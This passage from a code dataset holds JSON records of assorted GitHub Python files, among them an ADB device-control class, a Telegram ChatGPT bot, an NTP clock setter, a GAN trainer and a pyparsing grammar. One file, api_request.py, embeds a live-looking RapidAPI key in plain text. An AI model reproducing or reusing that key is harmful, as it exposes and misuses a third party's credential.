clouds:\n conns.append(Connection(cloud))\n\n collector_max = LimitCollector(conns, 'max', LIMITS['max'])\n collector_used = LimitCollector(conns, 'used', LIMITS['used'])\n REGISTRY.register(collector_max)\n REGISTRY.register(collector_used)\n\n start_http_server(port)\n\n while True:\n for conn in conns:\n conn.new_compute_limits()\n sleep(interval)\n","repo_name":"cloudcentric/limits_exporter","sub_path":"limits_exporter/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"73573784475","text":"'''设备操作类'''\r\nimport os\r\nimport time\r\n\r\n'''teky'''\r\nclass DeviceCtrl():\r\n\r\n def __init__(self, deviceid):\r\n self.deviceid = deviceid\r\n self.width = 0\r\n self.height = 0\r\n def getversion(self):\r\n '''获取版本号'''\r\n cmd = 'adb -s ' + self.deviceid + ' shell getprop ro.build.version.release'\r\n #adb shell getprop ro.build.version.release\r\n print('命令:' + cmd)\r\n return os.popen(cmd).read().strip()\r\n def wakeup(self):\r\n '''点亮并解锁'''\r\n #自动化点亮并滑动解锁\r\n self.getdisplaysize()\r\n self.trywakeup()\r\n self.set_screen_off_timeout(10)\r\n time.sleep(1)\r\n self.unlock_by_swipe()\r\n self.presshome()\r\n\r\n def getdisplaysize(self):\r\n '''得到屏幕分辨率'''\r\n cmd = 'adb -s ' + self.deviceid + ' shell wm size'\r\n print('命令:' + cmd)\r\n rt = os.popen(cmd).read()\r\n\r\n if rt.find('size:')>0:\r\n rt = rt.split(': ')\r\n rt = rt[1].split('x')\r\n self.width = int(rt[0])\r\n self.height = int(rt[1])\r\n\r\n def trywakeup(self):\r\n '''执行唤醒返回TRUE,原来是点亮的返回FAlSE'''\r\n cmd = 'adb -s ' + self.deviceid + ' shell dumpsys window policy | grep \\\"mScreenOnFully\\\" '\r\n print('命令:' + cmd)\r\n rt = os.popen(cmd).read()\r\n if rt.find('mScreenOnFully=false') >= 0: # 锁屏 按下power点亮\r\n self.presspower() # KEYCODE_POWER\r\n print('点亮屏幕')\r\n return True\r\n else:\r\n return False\r\n\r\n def set_screen_off_timeout(self, minute):\r\n '''设置锁屏时间'''\r\n cmd = 'adb -s ' + self.deviceid + ' shell settings put system screen_off_timeout ' + str(minute*60000)\r\n os.popen(cmd).read()\r\n print('设置锁屏时间' + str(minute) + '分钟')\r\n\r\n def unlock_by_swipe(self):\r\n '''常规向上滑动解锁'''\r\n x1 = x2 = str(self.width/2)\r\n y1 = str(self.height/2 + self.height/3)\r\n y2 = str(self.height/2 - self.height/3)\r\n cmd = 'adb -s ' + self.deviceid + ' shell input swipe ' + x1 + ' '+ y1 + ' ' + x2 + ' ' + y2 + ' 200'\r\n print('命令:' + cmd)\r\n os.popen(cmd)\r\n\r\n def presshome(self):\r\n self.sendkeycode(KeyCodes.KEYCODE_HOME)\r\n time.sleep(1)\r\n def sendkeycode(self, keycode):\r\n '''模拟按键'''\r\n cmd = 'adb -s ' + self.deviceid + ' shell input keyevent ' + str(keycode)\r\n os.popen(cmd)\r\n #print('命令:' + cmd)\r\n\r\n def screenshot(self, filepath):\r\n '''获取uiautomator dump'''\r\n try:\r\n cmd = 'adb -s ' + self.deviceid + ' shell screencap -p /storage/sdcard0/screen.png'\r\n # print('命令:' + cmd)\r\n os.popen(cmd)\r\n time.sleep(2)\r\n self.adbpull('/storage/sdcard0/screen.png', filepath) # 卡死?\r\n time.sleep(2)\r\n except Exception as e:\r\n print(e)\r\n finally:\r\n return\r\n def adbpull(self, srcpath, despath):\r\n '''adb push'''\r\n cmd = 'adb -s ' + self.deviceid + ' pull ' + srcpath + ' ' + despath\r\n #print('命令:' + cmd)\r\n rt = os.popen(cmd).read()\r\n if not rt.find('pulled')>=0:\r\n print(rt)\r\n\r\n#定义keycode信息\r\nclass KeyCodes():\r\n KEYCODE_MENU = 1\r\n KEYCODE_HOME = 3\r\n KEYCODE_BACK = 4\r\n KEYCODE_VOLUME_UP = 24\r\n KEYCODE_VOLUME_DOWN = 25\r\n KEYCODE_POWER = 26","repo_name":"codeceo-net/monkey","sub_path":"test/DeviceCtrl.py","file_name":"DeviceCtrl.py","file_ext":"py","file_size_in_byte":3522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"9583900976","text":"import requests\nfrom request_handling import to_dict\nimport json\n\n\ndef get_info(text=None, year=None, month=None, day=None):\n\n\turl = \"https://historical-events-by-api-ninjas.p.rapidapi.com/v1/historicalevents\"\n\n\tquerystring = {}\n\tif text != '' and text:\n\t\tquerystring['text'] = str(text)\n\n\tif year != '' and year:\n\t\tquerystring['year'] = str(year)\n\n\tif month != '' and month:\n\t\tquerystring['month'] = str(month)\n\n\tif day != '' and day:\n\t\tquerystring['day'] = str(day)\n\theaders = {\n\t\t\"X-RapidAPI-Key\": \"ba0efc9885mshdd54fda1cd38290p18ac69jsn59bbf9e55335\",\n\t\t\"X-RapidAPI-Host\": \"historical-events-by-api-ninjas.p.rapidapi.com\"\n\t}\n\n\tresponse = requests.request(\"GET\", url, headers=headers, params=querystring)\n\tif response.status_code != requests.codes.ok:\n\t\tprint(\"Error:\", response.status_code, response.text)\n\t\treturn\n\telse:\n\t\tresponse = json.loads(response.text)\n\t\tresponse = to_dict(response)\n\n\treturn response\n\n\ninfo = get_info(**{'text': 'roman empire', 'year': '', 'day': ''})\nprint(len(info))\n","repo_name":"adambanner1904/history-fact-api","sub_path":"api_request.py","file_name":"api_request.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"442699981","text":"\nfile = open(\"day7_input.txt\")\n\ncircus = []\ntowers = []\nBASE = [\"bpvhwhh\", 60, \"lzfgxlb\", \"fzclaow\", \"kfdxxb\", \"xnmjpa\",\n \"rilgrr\", \"fvrrpo\", \"zcmlgn\"] #Obtained from Part 1.\n\nfor line in file:\n circus.append(line.strip().split())\n\nfor level in circus:\n if \"->\" in level:\n string_format = level\n string_format.remove(\"->\")\n string_format[1] = int(string_format[1][1:-1])\n for index in range(2, len(string_format) - 1):\n string_format[index] = string_format[index][:-1]\n towers.append(string_format)\n else:\n string_format = level\n string_format[1] = int(string_format[1][1:-1])\n towers.append(string_format)\n\ndef get_id_list(id: str):\n for tower in towers:\n if tower[0] == id:\n return tower\n\ndef get_weight(id: list, towers: list):\n global weight\n \n if len(id) == 2:\n weight += id[1]\n return weight\n\n elif len(id) > 2:\n weight += id[1]\n for tower_id in id[2:]:\n id_list = get_id_list(tower_id)\n get_weight(id_list, towers)\n \n return weight\n\n# Unfinished auto-generated answer\nweight_check = {}\nfor tower in BASE[2:]:\n weight = 0\n tower_id = get_id_list(tower)\n weight_check[tower_id[0]] = get_weight(tower_id, towers)\n\nprint(weight_check)\n","repo_name":"Miyooki/adventofcode2017","sub_path":"day07/day7_part2.py","file_name":"day7_part2.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"73316231194","text":"import os\r\nimport asyncio\r\nfrom background import keep_alive\r\nfrom aiogram import Bot, Dispatcher, executor, types\r\nfrom aiogram import md\r\nimport aiogram.utils.exceptions as aioExc\r\nimport aiogram.utils.markdown as fmt\r\nimport openai\r\nimport re\r\nimport sumy\r\nimport nltk\r\nnltk.download('punkt')\r\nfrom sumy.parsers.plaintext import PlaintextParser\r\nfrom sumy.nlp.tokenizers import Tokenizer\r\nfrom sumy.summarizers.lex_rank import LexRankSummarizer\r\n\r\nopenAiKey = os.environ['openAiKey']\r\ntelegramKey = os.environ['telegramKey']\r\n\r\nopenai.api_key = openAiKey\r\nmessages = []\r\nleft = 0\r\nright = 4\r\n# Объект бота\r\nbot = Bot(token=telegramKey)\r\n# Диспетчер для бота\r\ndp = Dispatcher(bot)\r\n\r\ndef clean_data(data):\r\n text = re.sub(r\"\\[[0-9]*\\]\",\" \",data)\r\n text = text.lower()\r\n text = re.sub(r'\\s+',\" \",text)\r\n text = re.sub(r\",\",\" \",text)\r\n return text\r\n\r\n# Сокращение текста с помощью обработчика естесственного языка, составление резюме (краткого содержания)\r\ndef reductText():\r\n global messages\r\n for i in range(left, right):\r\n raw_data = messages[i][\"content\"]\r\n cleaned_article_content = clean_data(raw_data)\r\n # For Strings\r\n parser = PlaintextParser.from_string(cleaned_article_content,Tokenizer(\"russian\"))\r\n \r\n summarizer = LexRankSummarizer()\r\n #Summarize the document with 2 sentences\r\n summary = summarizer(parser.document, 2)\r\n text = \"\"\r\n for sentense in summary:\r\n text += str(sentense)\r\n messages[i][\"content\"] = text\r\n \r\ndef deleteLastFive():\r\n global messages\r\n messages=messages[5:]\r\n\r\n \r\n@dp.message_handler()\r\nasync def get_text_messages(message: types.Message):\r\n try:\r\n messages.append({\"role\": \"user\", \"content\": message.text})\r\n completion = openai.ChatCompletion.create(model=\"gpt-3.5-turbo\",messages=messages,temperature=0.5)\r\n answer = completion.choices[0].message.content\r\n if completion.usage.total_tokens == 4097:\r\n print(\"salam\")\r\n raise openai.error.InvalidRequestError(\"Number of tokens equals 4097 (response is cropped)\", param = None)\r\n except openai.error.InvalidRequestError as e:\r\n print(f\"Error occurred: {e}\")\r\n print(f\"Param of error: {e.param}\")\r\n reductText()\r\n global left\r\n global right\r\n left += 5\r\n right += 5\r\n if left >= 10:\r\n deleteLastFive()\r\n left -= 5\r\n right -= 5\r\n await get_text_messages(message)\r\n except openai.error.RateLimitError as e:\r\n print(f\"Error occurred: {e}\")\r\n await message.reply(\"⚠️ OpenAi API сильно загружено, повторите запрос позже\")\r\n except openai.error.APIError as e:\r\n print(f\"Error occurred: {e}\")\r\n await message.reply(\"⚠️ Ошибка на стороне OpenAi API, повторите запрос позже\")\r\n except aioExc.PollError as e:\r\n print(f\"Error occurred: {e}\")\r\n await asyncio.sleep(5)\r\n await get_text_messages(message)\r\n except aioExc.TelegramAPIError as e:\r\n print(f\"Error occurred: {e}\")\r\n else:\r\n await message.reply(answer)\r\n messages.append({\"role\": \"assistant\", \"content\": answer})\r\n print(messages)\r\n print(completion.usage.total_tokens)\r\n \r\n\r\nkeep_alive()\r\nexecutor.start_polling(dp, skip_updates=True)","repo_name":"mykillermylover/mvp-gpt-bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"38320285971","text":"from ev3.lego import ColorSensor\nimport unittest\nfrom util import get_input\n\nclass TestColorSensor(unittest.TestCase):\n def test_color_sensor(self):\n get_input('Attach a ColorSensor then continue')\n d = ColorSensor()\n get_input('test rgb')\n print(d.rgb)\n print(d.mode)\n get_input('test color')\n print(d.color)\n print(d.mode)\n get_input('test reflect')\n print(d.reflect)\n print(d.mode)\n get_input('test ambient')\n print(d.ambient)\n print(d.mode)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"topikachu/python-ev3","sub_path":"test/test_lego_color_sensor.py","file_name":"test_lego_color_sensor.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":190,"dataset":"github-code","pt":"50"} +{"seq_id":"35792237420","text":"from datetime import datetime, timedelta\nimport threading\n\n\nclass ProcessMemCache:\n _cv = threading.Condition()\n _map = {}\n \n @classmethod \n def get(cls, mem_key):\n with cls._cv:\n obj, cached_time = cls._map.get(mem_key, (None, None))\n if obj is None:\n return None\n if cached_time < datetime.utcnow():\n cls._map.pop(mem_key)\n return None\n else:\n return obj\n \n @classmethod\n def set(cls, mem_key, obj, time=86400):\n with cls._cv:\n cached_time = datetime.utcnow() + timedelta(seconds=time)\n cls._map[mem_key] = (obj, cached_time)\n \n @classmethod \n def delete(cls, mem_key):\n with cls._cv:\n if cls._map.has_key(mem_key):\n cls._map.pop(mem_key)\n \n \nimport context\nif context.is_client():\n memcache = ProcessMemCache\nelse:\n from sns.serverutils import memcache as server_memcache\n memcache = server_memcache\n\n\n\n","repo_name":"fantascy/snsanalytics","sub_path":"src/common/utils/memcache.py","file_name":"memcache.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"75156841116","text":"# -*- coding: utf-8 -*-\nimport sys\n\nfrom scout import plugins\nfrom scout.cli import (\n TOO_FEW_ARGUMENTS_ERROR, NOTE_MODIFICATION_ERROR\n)\n\n\nclass TagAction(plugins.ActionPlugin):\n \"\"\"Add or delete tags to notes.\n\n Tags of a note are a feature that is not well exposed in Tomboy/Gnote UI\n and is under-utilized. All notes can have an arbitrary number of tags. Some\n tags have special meanings, like system:notebook:* that is used by the note\n applications to put a note inside a notebook.\n\n Scout can add to or remove tags from notes.\n\n \"\"\"\n\n short_description = __doc__.splitlines()[0]\n\n usage = '\\n'.join([\n \"%prog tag (-h|--help)\",\n \" %prog tag [options] [filtering options|...]\",\n \" %prog tag [options] --remove-all [filtering options|...]\",\n ])\n\n def init_options(self):\n \"\"\"Set the action's options.\"\"\"\n self.add_option(\n \"--remove\", action=\"store_true\", default=False,\n help=\"Remove a tag from the requested notes.\")\n\n self.add_option(\n \"--remove-all\", action=\"store_true\", default=False,\n help=\"Remove all tags from the requested notes.\")\n\n self.add_option_library(plugins.FilteringGroup(\"Modify\"))\n\n def perform_action(self, config, options, positional):\n \"\"\"Modify one note.\"\"\"\n if not (positional or options.tags):\n # You can't edit _nothing_. Need a note to be selected\n msg = '\\n\\n'.join([\n \"Error: No filters or note names given.\",\n ''.join([\"You must specify the notes you want to modify with \",\n \"a filtering option, note names, or both.\"]),\n \"Use option -h or --help to learn more about filters.\"\n ])\n print(msg, file=sys.stderr)\n\n sys.exit(TOO_FEW_ARGUMENTS_ERROR)\n\n if options.remove_all:\n options.remove = True\n tag_name = None\n note_names = positional\n else:\n tag_name = positional[0]\n note_names = positional[1:]\n\n notes = self.interface.get_notes(\n names=note_names,\n tags=options.tags,\n exclude_templates=not options.templates\n )\n\n if options.remove:\n for note in notes:\n if options.remove_all:\n note.tags = []\n continue\n\n if tag_name not in note.tags:\n msg = \"Error: Tag '%s' not found on note '%s'.\"\n print(msg % (tag_name, note.title), file=sys.stderr)\n sys.exit(NOTE_MODIFICATION_ERROR)\n note.tags.remove(tag_name)\n else:\n for note in notes:\n note.tags.append(tag_name)\n\n self.interface.commit_notes(notes)\n","repo_name":"lelutin/scout","sub_path":"src/scout/actions/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"50"} +{"seq_id":"36779166173","text":"import os\nimport time\nimport ntplib_modified\nimport statistics\n\n\n\nntp_server_list = ['time.stdtime.gov.tw']\n\"\"\"\nntp_server_list = [\n 'time.google.com',\n 'time.windows.com',\n 'time.stdtime.gov.tw',\n]\n\"\"\"\n\t\noffset_stats = []\nRTD_stats = []\nrequest_OWD_stats = []\nresponse_OWD_stats = []\n\t\n\n\t\nntp_client_session = ntplib_modified.NTPClient()\n\t\nfor i in range(1,51):\n for server_address in ntp_server_list:\n response = ntp_client_session.request(server_address,version=4)\n offset_stats.append(response.offset)\n RTD_stats.append(response.round_trip_delay)\n request_OWD_stats.append(response.request_one_way_delay)\n response_OWD_stats.append(response.response_one_way_delay)\n\n\n\"\"\" Statistics \"\"\"\n# Average\noffset_avg = statistics.mean(offset_stats)\nRTD_avg = statistics.mean(RTD_stats)\nrequest_OWD_avg = statistics.mean(request_OWD_stats)\nresponse_OWD_avg = statistics.mean(response_OWD_stats)\n\t\n\n\n\nNTPClient_object=ntplib_modified.NTPClient()\nresponse=NTPClient_object.request('time.stdtime.gov.tw')\nts=response.tx_time\ndestime=ts+RTD_avg*0.5\nclock_ID = time.CLOCK_REALTIME\ntime.clock_settime(clock_ID,destime)\n\n\n\n\n","repo_name":"garyho7043/Python","sub_path":"time adjusting_fin.py","file_name":"time adjusting_fin.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16943173310","text":"string=input()\nuppercase=0\nlowercase=0\nfor i in range(len(string)):\n\tstore=str(string[i])\n\tif store.isupper()==True:\n\t\tuppercase=uppercase+1\n\telif store.islower()==True:\n\t\tlowercase=lowercase+1\nprint(uppercase, lowercase)\n","repo_name":"hamza-yusuff/Python_prac","sub_path":"python projects/upperlower.py","file_name":"upperlower.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10539232957","text":"#!/usr/bin/python\n# coding: UTF-8\n\n# original code URL https://github.com/xkumiyu/chainer-GAN-CelebA\n# revised by Nakkkkk(https://github.com/Nakkkkk)\n\nimport argparse\nimport os\n\n\nimport matplotlib\ntry:\n matplotlib.use('Agg')\nexcept Exception:\n raise\n\nimport chainer\nfrom chainer import training\nfrom chainer.training import extensions\n\nfrom dataset import CelebADataset, AnimeDataset, AnimeDataset_annotated\nfrom net import Discriminator\nfrom updater import DCGANUpdater\nfrom visualize import out_generated_image\n\nimport my_lib\nfrom net import EncoderGenerator\nimport random\n\ndef main():\n parser = argparse.ArgumentParser(description='Train GAN')\n parser.add_argument('--batchsize', '-b', type=int, default=64,\n help='Number of images in each mini-batch')\n parser.add_argument('--epoch', '-e', type=int, default=500,\n help='Number of sweeps over the dataset to train')\n parser.add_argument('--gpu', '-g', type=int, default=0,\n help='GPU ID (negative value indicates CPU)')\n parser.add_argument('--dataset', '-i', default='.',\n help='Directory of image files.')\n parser.add_argument('--out', '-o', default='result',\n help='Directory to output the result')\n parser.add_argument('--resume', '-r', default='',\n help='Resume the training from snapshot')\n parser.add_argument('--seed', type=int, default=0,\n help='Random seed of z at visualization stage')\n parser.add_argument('--snapshot_interval', type=int, default=5000,\n help='Interval of snapshot')\n parser.add_argument('--display_interval', type=int, default=1000,\n help='Interval of displaying log to console')\n parser.add_argument('--unrolling_steps', type=int, default=0)\n args = parser.parse_args()\n\n print('GPU: {}'.format(args.gpu))\n print('# batchsize: {}'.format(args.batchsize))\n print('# epoch: {}'.format(args.epoch))\n print('')\n\n # NNのセットアップ\n gen = EncoderGenerator()\n dis = Discriminator(unrolling_steps=args.unrolling_steps)\n\n if args.gpu >= 0:\n chainer.cuda.get_device_from_id(args.gpu).use()\n gen.to_gpu()\n dis.to_gpu()\n\n # optimizerのセットアップ\n def make_optimizer(model, alpha=0.0002, beta1=0.5):\n optimizer = chainer.optimizers.Adam(alpha=alpha, beta1=beta1)\n optimizer.setup(model)\n optimizer.add_hook(chainer.optimizer.WeightDecay(0.0001), 'hook_dec')\n return optimizer\n opt_gen = make_optimizer(gen)\n opt_dis = make_optimizer(dis)\n\n # データセットのセットアップ\n # アニメ顔データセットの取得\n anime_img_path = \"./../../anime_face/animeface-character-dataset-resize160x160/thumb\"\n anime_img_files = my_lib.make_daraset_list(anime_img_path)\n # 人間顔データセットの取得\n human_img_path = \"./../../human_face/img_align_celeba\"\n human_img_files = my_lib.make_daraset_list(human_img_path)\n # アニメ顔データセットのラベルの取得\n anime_ann_path = \"./../../anime_face/dataset_celebA_label_anime\"\n anime_ann_files, anime_ann_type = my_lib.make_annotation_list(anime_ann_path)\n # 人間顔データセットのラベルの取得\n human_ann_path = \"./../../anime_face/dataset_celebA_label_human\"\n human_ann_files, human_ann_type = my_lib.make_annotation_list(human_ann_path)\n # 顔データにアノテーションを付与\n dataset_unified, standard_annotation_type = my_lib.organize_annotation_type([anime_ann_files, anime_ann_type], [human_ann_files, human_ann_type])\n anime_img_files_annotated = my_lib.annotate_dataset(anime_img_files, dataset_unified[0])\n human_img_files_annotated = my_lib.annotate_dataset(human_img_files, dataset_unified[1])\n # アノテーション付きデータセットを生成\n train_anime = AnimeDataset_annotated(anime_img_files_annotated, human_img_files_annotated, size=(64, 64))\n train_iter_anime = chainer.iterators.SerialIterator(train_anime, args.batchsize)\n\n # Trainerのセットアップ\n updater = DCGANUpdater(\n models=(gen, dis),\n iterator=train_iter_anime,\n optimizer={\n 'gen': opt_gen, 'dis': opt_dis},\n device=args.gpu)\n trainer = training.Trainer(updater, (args.epoch, 'epoch'), out=args.out)\n\n snapshot_interval = (args.snapshot_interval, 'iteration')\n display_interval = (args.display_interval, 'iteration')\n trainer.extend(\n extensions.snapshot(filename='snapshot_gan_iter_{.updater.iteration}.npz'),\n trigger=snapshot_interval)\n trainer.extend(extensions.snapshot_object(\n gen, 'gen_iter_{.updater.iteration}.npz'), trigger=snapshot_interval)\n trainer.extend(extensions.snapshot_object(\n dis, 'dis_iter_{.updater.iteration}.npz'), trigger=snapshot_interval)\n trainer.extend(extensions.LogReport(trigger=display_interval, log_name='train_gan.log'))\n trainer.extend(extensions.PrintReport([\n 'epoch', 'iteration', 'gen/loss', 'dis/loss',\n ]), trigger=display_interval)\n trainer.extend(extensions.PlotReport(\n ['gen/loss', 'dis/loss'], trigger=display_interval, file_name='gan-loss.png'))\n trainer.extend(extensions.ProgressBar(update_interval=10))\n anime_img_files_rand_N = random.sample(anime_img_files, 100)\n trainer.extend(\n out_generated_image(\n gen, dis,\n 10, 10, args.seed, args.out, anime_img_files_rand_N, (64,64)),\n trigger=snapshot_interval)\n\n if args.resume:\n chainer.serializers.load_npz(args.resume, trainer)\n\n trainer.run()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Nakkkkk/chainer-GAN-CelebA-anime-annotated","sub_path":"train_gan.py","file_name":"train_gan.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"32655608572","text":"import json\nimport boto3\nimport logging\nimport uuid\nimport os\nfrom operator import itemgetter\nfrom utils import json_response\n\n\nregion = os.environ['AWS_REGION']\nclient = boto3.client('iot', region_name=region)\nlogging.getLogger().setLevel(logging.INFO)\nlogging.info('Loading get core device details lambda function')\n\n\ndef get(event, context):\n # logging.info(\"request : {}\".format(str(event)))\n try:\n # core_devices = client.list_core_devices()\n # data = {\n # 'devices': list(map(itemgetter('coreDeviceThingName'), core_devices['coreDevices']))\n # }\n resp = client.list_things()\n a = resp['things']\n for d in resp['things']:\n d['id'] = {'id': str(uuid.uuid1())}\n if 'thingTypeName' in d.keys():\n d['type'] = d.pop('thingTypeName')\n else:\n d['type'] = 'NA'\n d['label'] = d.pop('attributes')\n d.pop('version')\n d.pop('thingArn')\n d['name'] = d.pop('thingName')\n data = {\n 'data': a\n }\n logging.info(data)\n return {\n 'statusCode': 200,\n 'body': json.dumps(data),\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Origin': '*'\n },\n }\n except Exception as e:\n logging.error(e)\n return {\n 'statusCode': 404,\n 'body': json.dumps(e),\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Origin': '*'\n },\n }\n","repo_name":"omkarsyadav26/greengrass-demo-poc","sub_path":"lambda/api/thing_list.py","file_name":"thing_list.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5038271731","text":"import os\nimport glob\nimport dlib\nimport numpy as np\nimport _pickle as cPickle\nfrom PIL import Image\n\n# Detectores de face e pontos faciais\nfaceDetector = dlib.get_frontal_face_detector()\nlandmarkDetector = dlib.shape_predictor('../resources/shape_predictor_68_face_landmarks.dat')\n\n# Usa redes neurais convolucionais\nfacialRecognition = dlib.face_recognition_model_v1('../resources/dlib_face_recognition_resnet_model_v1.dat')\n\nlabels = {}\ni = 0\nfacialDescriptors = None\n\n# Percorre as imagens de treinamento enquanto detecta faces\nfor arq in glob.glob(os.path.join('../yalefaces/training', \"*.gif\")):\n # Imagens do yalefaces Dataset são .gif portanto é necessário convertê-las\n imgFace = Image.open(arq).convert('RGB')\n img = np.array(imgFace, 'uint8')\n\n # Armazena bounding boxes das faces encontradas\n detectedFaces = faceDetector(img, 2)\n\n # Extrai pontos faciais nas bounding boxes\n for face in detectedFaces:\n landmarks = landmarkDetector(img, face)\n\n # Descreve a face encontrada com 128 caracteristicas principais (mais importantes)\n facialDescriptor = facialRecognition.compute_face_descriptor(img, landmarks)\n\n # Cria uma lista com as caracteristicas e converte para um numpy\n listdescriptors = [fd for fd in facialDescriptor]\n npArray = np.asarray(listdescriptors, dtype=np.float64)\n npArray = npArray[np.newaxis, :]\n\n # Formatação\n if facialDescriptors is None:\n facialDescriptors = npArray\n else:\n facialDescriptors = np.concatenate((facialDescriptors, npArray), axis=0)\n\n #labels para as caracteristicas\n labels[i] = arq\n i += 1\n\n# Salva arquivos\nnp.save('../resources/descriptors.npy', facialDescriptors)\nwith open(\"../resources/labels.pickle\", \"wb\") as f:\n cPickle.dump(labels, f)","repo_name":"erickrdgs/facial-recognition","sub_path":"code/recognition-training.py","file_name":"recognition-training.py","file_ext":"py","file_size_in_byte":1839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25801090566","text":"from pyparsing import *\nfrom pprint import pprint\nimport yaml\n\n\ndef make_keyword(kwd_str, kwd_value):\n return Keyword(kwd_str).setParseAction(replaceWith(kwd_value))\n\ndef make_JSON_parser_object():\n\n TRUE = make_keyword(\"true\", True)\n FALSE = make_keyword(\"false\", False)\n NULL = make_keyword(\"null\", None)\n\n LBRACK, RBRACK, LBRACE, RBRACE, COLON = map(Suppress, \"[]{}:\")\n\n word = Word(alphas)\n \n jsonString = dblQuotedString().setParseAction(removeQuotes)\n jsonNumber = pyparsing_common.number()\n\n jsonObject = Forward()\n jsonValue = Forward()\n jsonElements = delimitedList( jsonValue )\n jsonArray = Group(LBRACK + Optional(jsonElements, []) + RBRACK)\n jsonValue << (jsonString | jsonNumber | Group(jsonObject) | jsonArray | TRUE | FALSE | NULL)\n memberDef = Group(jsonString + COLON + jsonValue)\n jsonMembers = delimitedList(memberDef)\n jsonObject << Dict(LBRACE + Optional(jsonMembers) + RBRACE)\n \n\n jsonComment = cppStyleComment \n jsonObject.ignore(jsonComment)\n return jsonObject\n\ndef make_edge_DOT_parser_object():\n\n # define grammar for edges\n node_name = Word(alphas)\n node_id = Word(alphanums)\n nodeElem = (Combine(node_name + \"_\" + node_id))\n\n jsonObject = make_JSON_parser_object()\n node = Group(nodeElem + ZeroOrMore(jsonObject))\n\n RANGLE = Literal('>')\n REMOVE = Literal('!')\n PIPE = Literal('|')\n\n edgeExpr = Forward()\n edgeExpr << Group(node + (RANGLE ^ REMOVE ^ PIPE)) + ( node ^ OneOrMore(edgeExpr))\n return edgeExpr\n\n\ndef make_edge_Cypher_parser_object():\n\n # define grammar for edges\n RANGLE = Literal('>')\n REMOVE = Literal('!')\n PIPE = Literal('|')\n\n LBRACK = Literal('[').suppress()\n RBRACK = Literal(']').suppress()\n COMMA = Literal(',').suppress()\n\n LBRACE = Literal('{')\n RBRACE = Literal('}')\n\n node_name = Word(alphas)\n node_id = Word(alphanums)\n node = (Combine(node_name + \"_\" + node_id))\n\n nodeList = Forward()\n nodeList << node + ZeroOrMore(COMMA + nodeList)\n nodeObject = node ^ Group((LBRACK + nodeList + RBRACK))\n \n \n jsonObject = make_JSON_parser_object()\n portMapObject = Group(LBRACE + node + RBRACE)\n edge = (RANGLE ^ REMOVE ^ PIPE) + (Optional(jsonObject) ^ Optional(portMapObject) )\n\n \n edgeExpr = Forward()\n edgeExpr << Group(nodeObject + edge ) + ( nodeObject ^ OneOrMore(edgeExpr))\n\n edgeObject = Forward()\n edgeObject << edgeExpr + ZeroOrMore(edgeObject)\n return edgeObject\n\n\ndef make_edge_Cypher_parser_exp():\n\n # define grammar for edges\n RANGLE = Literal('>')\n REMOVE = Literal('!')\n PIPE = Literal('|')\n\n LBRACK = Literal('[').suppress()\n RBRACK = Literal(']').suppress()\n COMMA = Literal(',').suppress()\n\n LBRACE = Literal('{').suppress()\n RBRACE = Literal('}').suppress()\n\n node_name = Word(alphas)\n node_id = Word(alphanums)\n node = (Combine(node_name + \"_\" + node_id))\n\n nodeList = Forward()\n nodeList << node + ZeroOrMore(COMMA + nodeList)\n nodeObject = (node ^ Group((LBRACK + nodeList + RBRACK)))\n \n \n jsonObject = make_JSON_parser_object()\n portMapObject = Group(LBRACE + node + RBRACE)\n edgeSymbol = (RANGLE ^ REMOVE ^ PIPE)\n edge = (edgeSymbol + (Optional(jsonObject) ^ Optional(portMapObject) ))\n \n\n \n edgeExpr = Forward()\n edgeExpr << Group(nodeObject + edge ) + ( nodeObject ^ OneOrMore(edgeExpr))\n\n edgeObject = Forward()\n edgeObject << edgeExpr + ZeroOrMore(edgeObject)\n return edgeObject\n\n\nclass EdgeListReader:\n\n keys = ['left','op','prop','right']\n empty_buffer = dict.fromkeys(keys)\n\n def __init__(self):\n\n self.buffer = self.empty_buffer\n self.edge_list = []\n \n def _fill_buffer(self,token):\n \n buffer = {}\n vals = [None,None,None,None]\n\n if isinstance(token,str):\n vals[0] = token \n else:\n vals[0] = token.asList()[0]\n vals[1] = token.asList()[1]\n vals[2] = token.asDict()\n vals[3] = None\n\n buffer = dict(zip(self.keys,vals))\n return buffer\n \n\n def push(self,token):\n \n edge = self.buffer\n\n if isinstance(token,str):\n # reached end-of-path\n edge['right'] = token\n buffer = self.empty_buffer\n \n if not self.buffer:\n buffer = self._fill_buffer(token)\n else:\n buffer = self._fill_buffer(token)\n edge['right'] = buffer['left']\n \n \n if edge['op'] and edge['left'] and edge['right']:\n self.edge_list.append(edge)\n \n self.buffer = buffer\n\n\n\n\nimport pdb\ntest_str = \"\"\"[xx_01, xy_01] 